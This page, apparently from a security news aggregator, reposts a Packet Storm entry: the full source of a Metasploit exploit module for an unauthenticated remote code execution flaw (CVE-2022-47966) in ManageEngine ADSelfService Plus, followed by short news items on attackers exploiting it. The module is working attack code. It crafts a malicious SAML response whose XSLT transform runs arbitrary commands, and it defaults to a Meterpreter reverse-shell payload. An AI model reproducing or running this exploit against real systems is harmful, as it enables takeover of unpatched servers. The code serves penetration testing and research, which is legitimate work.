Security
Headlines
HeadlinesLatestCVEs

Headline

ManageEngine ADSelfService Plus Unauthenticated SAML Remote Code Execution

This Metasploit module exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine AdSelfService Plus versions 6210 and below. Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted samlResponse XML to the ADSelfService Plus SAML endpoint. Note that the target is only vulnerable if it has been configured with SAML-based SSO at least once in the past, regardless of the current SAML-based SSO status.

Packet Storm
#vulnerability#windows#apache#git#java#rce#xpath#auth#ssl
# This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-frameworkclass MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'ManageEngine ADSelfService Plus Unauthenticated SAML RCE',        'Description' => %q{          This exploits an unauthenticated remote code execution vulnerability          that affects Zoho ManageEngine AdSelfService Plus versions 6210 and          below (CVE-2022-47966). Due to a dependency to an outdated library          (Apache Santuario version 1.4.1), it is possible to execute arbitrary          code by providing a crafted `samlResponse` XML to the ADSelfService Plus          SAML endpoint. Note that the target is only vulnerable if it has been          configured with SAML-based SSO at least once in the past, regardless of          the current SAML-based SSO status.        },        'Author' => [          'Khoa Dinh', # Original research          'horizon3ai', # PoC          'Christophe De La Fuente' # Metasploit module        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2022-47966'],          ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],          ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],          ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],          ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']        ],        'Platform' => ['win'],        'Payload' => {          'BadChars' => "\x27"        },        'Targets' => [          [            'Windows EXE Dropper',            {              'Platform' => 'win',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :windows_dropper,              'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }            }          ],          [            'Windows Command',            {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'Type' => :windows_command,              'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }            }          ]        ],        'DefaultOptions' => {          'RPORT' => 9251,          'SSL' => true        },        'DefaultTarget' => 1,        'DisclosureDate' => '2023-01-10',        'Notes' => {          'Stability' => [CRASH_SAFE,],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],          'Reliability' => [REPEATABLE_SESSION]        },        'Privileged' => true      )    )    register_options([      OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/samlLogin' ]),      OptString.new('GUID', [ true, 'The SAML endpoint GUID' ]),      OptString.new('ISSUER_URL', [ true, 'The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server' ]),      OptString.new('RELAY_STATE', [ false, 'The Relay State. Default is "http(s)://<rhost>:<rport>/samlLogin/LoginAuth"' ])    ])  end  def check    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID'])    )    return CheckCode::Unknown unless res    return CheckCode::Safe unless res.code == 200    product = res.get_html_document.xpath('//title').first&.text    unless product == 'ADSelfService Plus'      return CheckCode::Safe("This is not ManageEngine ADSelfService Plus (#{product})")    end    CheckCode::Detected  end  def encode_begin(real_payload, reqs)    super    reqs['EncapsulationRoutine'] = proc do |_reqs, raw|      raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw    end  end  def exploit    case target['Type']    when :windows_command      execute_command(payload.encoded)    when :windows_dropper      execute_cmdstager    end  end  def execute_command(cmd, _opts = {})    if target['Type'] == :windows_dropper      cmd = "cmd /c #{cmd}"    end    cmd = cmd.encode(xml: :attr).gsub('"', '')    assertion_id = "_#{SecureRandom.uuid}"    # Randomize variable names and make sure they are all different using a Set    vars = Set.new    loop do      vars << Rex::Text.rand_text_alpha_lower(5..8)      break unless vars.size < 3    end    vars = vars.to_a    saml = <<~EOS      <?xml version="1.0" encoding="UTF-8"?>      <samlp:Response        ID="_#{SecureRandom.uuid}"        InResponseTo="_#{Rex::Text.rand_text_hex(32)}"        IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">        <samlp:Status>          <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>        </samlp:Status>        <Assertion ID="#{assertion_id}"          IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">          <Issuer>#{datastore['ISSUER_URL']}</Issuer>          <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">            <ds:SignedInfo>              <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>              <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>              <ds:Reference URI="##{assertion_id}">                <ds:Transforms>                  <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>                  <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">                    <xsl:stylesheet version="1.0"                      xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"                      xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">                      <xsl:template match="/">                        <xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>                        <xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>                        <xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>                        <xsl:value-of select="$#{vars[2]}"/>                      </xsl:template>                    </xsl:stylesheet>                  </ds:Transform>                </ds:Transforms>                <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>                <ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>              </ds:Reference>            </ds:SignedInfo>            <ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>            <ds:KeyInfo/>          </ds:Signature>        </Assertion>      </samlp:Response>    EOS    relay_state_url = datastore['RELAY_STATE']    if relay_state_url.blank?      relay_state_url = "http#{'s' if datastore['SSL']}://#{rhost}:#{rport}/samlLogin/LoginAuth"    end    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']),      'vars_get' => {        'RelayState' => Rex::Text.encode_base64(relay_state_url)      },      'vars_post' => {        'SAMLResponse' => Rex::Text.encode_base64(saml)      }    })    unless res&.code == 200      fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code})")    end    res  endend

Related news

Iranian Nation-State Actors Employ Password Spray Attacks Targeting Multiple Sectors

Iranian nation-state actors have been conducting password spray attacks against thousands of organizations globally between February and July 2023, new findings from Microsoft reveal. The tech giant, which is tracking the activity under the name Peach Sandstorm (formerly Holmium), said the adversary pursued organizations in the satellite, defense, and pharmaceutical sectors to likely facilitate

CISA Warning: Nation-State Hackers Exploit Fortinet and Zoho Vulnerabilities

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Thursday warned that multiple nation-state actors are exploiting security flaws in Fortinet FortiOS SSL-VPN and Zoho ManageEngine ServiceDesk Plus to gain unauthorized access and establish persistence on compromised systems. “Nation-state advanced persistent threat (APT) actors exploited CVE-2022-47966 to gain unauthorized

Lazarus Group's infrastructure reuse leads to discovery of new malware

Lazarus Group appears to be changing its tactics, increasingly relying on open-source tools and frameworks in the initial access phase of their attacks, as opposed to strictly employing them in the post-compromise phase.

Lazarus Group exploits ManageEngine vulnerability to deploy QuiteRAT

This is the third documented campaign attributed to this actor in less than a year, with the actor reusing the same infrastructure throughout these operations.

China's 'Volt Typhoon' APT Turns to Zoho ManageEngine for Fresh Cyberattacks

A recent campaign shows that the politically motivated threat actor has more tricks up its sleeve than previously known, targeting an old RCE flaw and wiping logs to cover their tracks.

Buhti Ransomware Gang Switches Tactics, Utilizes Leaked LockBit and Babuk Code

The threat actors behind the nascent Buhti ransomware have eschewed their custom payload in favor of leaked LockBit and Babuk ransomware families to strike Windows and Linux systems. "While the group doesn't develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types," Symantec said in a

Iranian Government-Backed Hackers Targeting U.S. Energy and Transit Systems

An Iranian government-backed actor known as Mint Sandstorm has been linked to attacks aimed at critical infrastructure in the U.S. between late 2021 to mid-2022. "This Mint Sandstorm subgroup is technically and operationally mature, capable of developing bespoke tooling and quickly weaponizing N-day vulnerabilities, and has demonstrated agility in its operational focus, which appears to align

Experts Sound Alarm Over Growing Attacks Exploiting Zoho ManageEngine Products

Multiple threat actors have been observed opportunistically weaponizing a now-patched critical security vulnerability impacting several Zoho ManageEngine products since January 20, 2023. Tracked as CVE-2022-47966 (CVSS score: 9.8), the remote code execution flaw allows a complete takeover of the susceptible systems by unauthenticated attackers. As many as 24 different products, including Access

Zoho ManageEngine Endpoint Central / MSP 10.1.2228.10 Remote Code Execution

This Metasploit module exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine Endpoint Central and MSP versions 10.1.2228.10 and below (CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted samlResponse XML to the Endpoint Central SAML endpoint. Note that the target is only vulnerable if it is configured with SAML-based SSO, and the service should be active.

Zoho ManageEngine ServiceDesk Plus 14003 Remote Code Execution

This Metasploit module exploits an unauthenticated remote code execution vulnerability that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and below (CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario version 1.4.1), it is possible to execute arbitrary code by providing a crafted samlResponse XML to the ServiceDesk Plus SAML endpoint. Note that the target is only vulnerable if it has been configured with SAML-based SSO at least once in the past, regardless of the current SAML-based SSO status.

Unpatched Zoho MangeEngine Products Under Active Cyberattack

The latest critical bug is exploitable in dozens of ManageEngine products and exposes systems to catastrophic risks, researchers warn.

Zoho ManageEngine PoC Exploit to be Released Soon - Patch Before It's Too Late!

Users of Zoho ManageEngine are being urged to patch their instances against a critical security vulnerability ahead of the release of a proof-of-concept (PoC) exploit code. The issue in question is CVE-2022-47966, an unauthenticated remote code execution vulnerability affecting several products due to the use of an outdated third-party dependency, Apache Santuario. "This vulnerability allows an

Update now! Proof of concept code to be released for Zoho ManageEngine vulnerability

Categories: Exploits and vulnerabilities Categories: News Tags: Zoho Tags: ManageEngine Tags: PoC Tags: RCE Tags: CVE-2022-47966 Tags: CVE-2022-35405 Tags: SAML Tags: Apache Santuario Proof of Concept code is about to be released for a vulnerability in many ManageEngine products which could enable RCE with SYSTEM privileges. (Read more...) The post Update now! Proof of concept code to be released for Zoho ManageEngine vulnerability appeared first on Malwarebytes Labs.

CVE-2019-19034: AssetExplorer ITAM Solution ServicePacks Readme

Zoho ManageEngine Asset Explorer 6.5 does not validate the System Center Configuration Manager (SCCM) database username when dynamically generating a command to schedule scans for SCCM. This allows an attacker to execute arbitrary commands on the AssetExplorer Server with NT AUTHORITY/SYSTEM privileges.

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution